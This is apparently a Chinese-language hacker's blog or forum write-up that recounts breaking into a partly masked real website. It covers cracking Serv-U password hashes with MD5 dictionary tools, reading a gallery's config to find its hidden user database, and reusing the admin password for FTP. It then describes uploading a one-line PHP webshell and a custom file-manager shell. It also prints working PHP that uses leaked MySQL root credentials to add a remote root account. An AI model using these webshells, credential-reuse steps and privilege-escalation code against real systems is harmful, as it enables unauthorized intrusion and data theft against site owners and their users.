方法一:爆破法.
最顯眼的要屬使用者名和密碼了,關鍵是如何破密碼呢?到網上搜了一個專門破SERV-U密碼的工具(Serv-UPassCrack1.0a.rar),太慢了,這要等到何年何月啊!幹脆用記事本打開它的腳本crack.vbs.看看解密原理:假設原來明文密碼用"password_mingwen"表示,密文密碼也就是 我們在ServUDaemon.ini中看到的密碼(34位),用"password_miwen"表示,密文的前兩位合并上明文,然後經MD5加密後正 好等于密文的後三十二位!】
即:md5(password_mingwen+left(password_miwen,2)=right (password_miwen,32)俗話說的好啊,"工欲善其事,必先利其器"在網上找了兩上絕配的工具!一個是MD5CrackSpV2.3(速度 增強版,一個非常好用的MD5爆破工具),另一個是字典專家.BBSt,利用它我們可以生成前兩位為我們指定字母的字典!!MD5CrackSpV2.3 速度奇快,我們可以指定開的線程數,我在P4,256M記憶體環境下做了一個測試,利用字典專家.BBSt生成一個含3億條記錄,1.2G左右的字典, 用MD5CrackSpV2.3開8線程跑,總共用了30分鐘!一個線程一秒鐘跑大約2萬條記錄,8個線程一秒鐘,就是16萬條記錄!!照此計算一台機器 一天就能跑約138億條記錄!假如有十台P4連合作業,威力無窮啊!同時在網上看到消息說山東大學已經研究出來了破解MD5的算法!但是沒有找到具體的程式,程式一旦出世,密而不密,恐怕很多網站又要遭殃了!!
方法二:程式法.
不要在一棵樹上吊死,一邊挂着字典爆破,一邊看看還有沒有别的途徑,雙 管齊下嗎,要不閑着也是閑着(哈哈)!在c:/Program Files/Serv-U/ServUDaemon.ini檔案中共有十多位使用者,其中有一個的使用者目錄:"d:/s***n/a***lover/ photo/gallery" 吸引了我。立即在浏覽器中打上http://www.*****.net/ a***lover/photo/gallery 出現如下提示:"This Virtual Directory does not allow contents to be listed",在試試它的上一級目錄看看:http://www.*****.net/ a***lover/photo/真是山重水複疑無路,柳暗花明又一村啊!原來在機子裡還藏着個某某網絡相冊.
首先注冊個使用者進去看看,有圖檔上傳功能 啊,抓包看看是否存在有類似動網UPFILE的漏洞,用NC送出後失敗了,上傳類型還是圖檔檔案,又是那句話:"此路不通"。利用CASI檢視http: //www.*****.net/ a***lover/photo/index.php的檔案内容得知:程式中文名稱:文本圖檔管理程式 程式英文名稱:NEATPIC 版本:2.0.13 BETA,老規矩先到網上下個研究研究在說。經過分析目錄結構發現在:database/user.php檔案用于存放使用者名密碼等注冊資訊!用CASI 打開:http://www.*****.net/ a***lover/photo/database/user.php顯示無檔案内容!難道是預設目錄不對?!管理者把目錄改了!!看配置檔案: http://www.*****.net/ a***lover/photo/inc/config.inc.php發現:
// 參數設定
//*********************************
$DataDir = "database678"; //雜項資料存放目錄
$CatDir = "second"; //二級分類資料存放目錄
$SortDir = "main"; //分類資料檔案存放目錄
$PicRecordDir = "picdata"; //圖檔資料總目錄
$PicDir = "pic"; //圖檔檔案存放目錄
$SPicDir = "spic"; //縮略圖存放目錄
$CommentDir = "comment"; //圖檔評論目錄
$UserDat = "user.php"; //使用者資料檔案
$Dat = "dat.php"; //相冊資料檔案
果然管理者把預設的database目錄改成了database678了!現在可以用CASI檢視user.php的内容了如下圖:
面的哪一行即ID=1的為管理者的注冊資訊,第一個為使用者名,第二個為密碼。發現該使用者名與ServUDaemon.ini中的相同,密碼會不會也相同呢? (很多人都有使用同一密碼的習慣!!)打開DOS視窗-->登入FTP-->輸入使用者名和密碼,成功了,終于成功了!揪出這個密碼可真不容易 啊!!這時字典還在哪挂着來,要跑出這個8位純字母的密碼也要費一段時間啊!!
一、 上傳PHPSHELL,控制MYSQL資料庫
通過 ServUDaemon.ini檔案中的Access1=D:/s***n/ a***lover/photo/gallery |RWAMLCDP知道該使用者具有:讀取(R),寫入(W),追加(A)等功能,唯獨缺少了"執行(E)"功能!利用PUT指令上傳一個一句話的 WebShell上去.在浏覽器中運作http://www.*****.net/ a***lover/photo/gallery/webshell.php?cmd=dir,出現:
Warning: passthru(): Unable to fork [dir] in D:/s***n/a***lover/photo/gallery/webshell.php on line 1
看 來外部指令不能執行,管理者一定作了相應設定.再上傳一個phpinfo.php檔案 在浏覽器中運作:http://www.*****.net/ a***lover/photo/gallery/phpinfo.php,這時在php.ini變量的設定都顯示出來了(當然也你可以利用CASI看 c:/windows/php.ini 的内容)!外部指令不能執行的原因在此:
以下是引用片段:
safe_mode
Off
safe_mode_exec_dir
no value
safe_mode_gid
safe_mode_include_dir
接下來上傳一個自己編的僅帶有浏覽,拷貝,重命名,删除檔案和上傳檔案五個功能的PHPSHELL:CMD.PHP
注: 由于時間倉促代碼界面沒優化好,在dir文本框中輸入要浏覽的目錄名稱;copy文本框中,上面輸入源檔案如d:/web/cmd.php,下面輸入目标 檔案如d:/web/cmdbak.php;del文本框中輸入要删除的檔案名如:d:/web/cmdbak.php;ren指令與copy指令相似; 點浏覽按鈕,選擇你要上傳的檔案,然後點upload按鈕,就上傳到與本SHELL相同的目錄下了.
運作: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir指令,可以看D盤,C:/windows,以及C:/Program Files下的内容,而且對D盤還有寫權限!在通過copy指令把想下載下傳的軟體考到WEB目錄下下載下傳下來了^_^
如何才能把檔案寫到隻讀的C槽上呢?這就要通過MYSQL了!但是MYSQL沒有遠端連接配接啊!沒有條件創造條件,看文章系統的配置檔案config.inc.php的内容了嗎?
$dbhost="localhost";//資料庫主機名
$dbuser="root";//資料庫使用者名
$dbpass="******";//資料庫密碼
$dbname="article";//資料庫名
資料庫使用者名和密碼都知道了,可惜的是本地使用者,然而我們能不能通過本地有最高權限使用者root來添加個遠端使用者呢?答案是肯定的。
為此專門寫了個程式adduser.php利用已知的有ROOT權限的帳号添寫加遠端ROOT權限的帳号,内容如下:
以下是代碼片段:
$dbh=mysql_connect('localhost:3306','root','*****');//
echo mysql_errno().": ".mysql_error()."
";
mysql_select_db('mysql');
$query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password' WITH GRANT OPTION";
$res=mysql_query($query, $dbh);
$err=mysql_error();
if($err){
echo "ERROR!";
}
else{
echo "ADD USER OK!";
?>
利用cmd.php上傳adduser.php執行後,就在庫中添加了一個遠端ROOT帳号,就可以用CASI帶的MYSQL連接配接器連上了!!它可以把MYSQL庫關了!!用牛族可友善的浏覽表中的記錄!!如下圖:帶%号的使用者為添加的遠端使用者。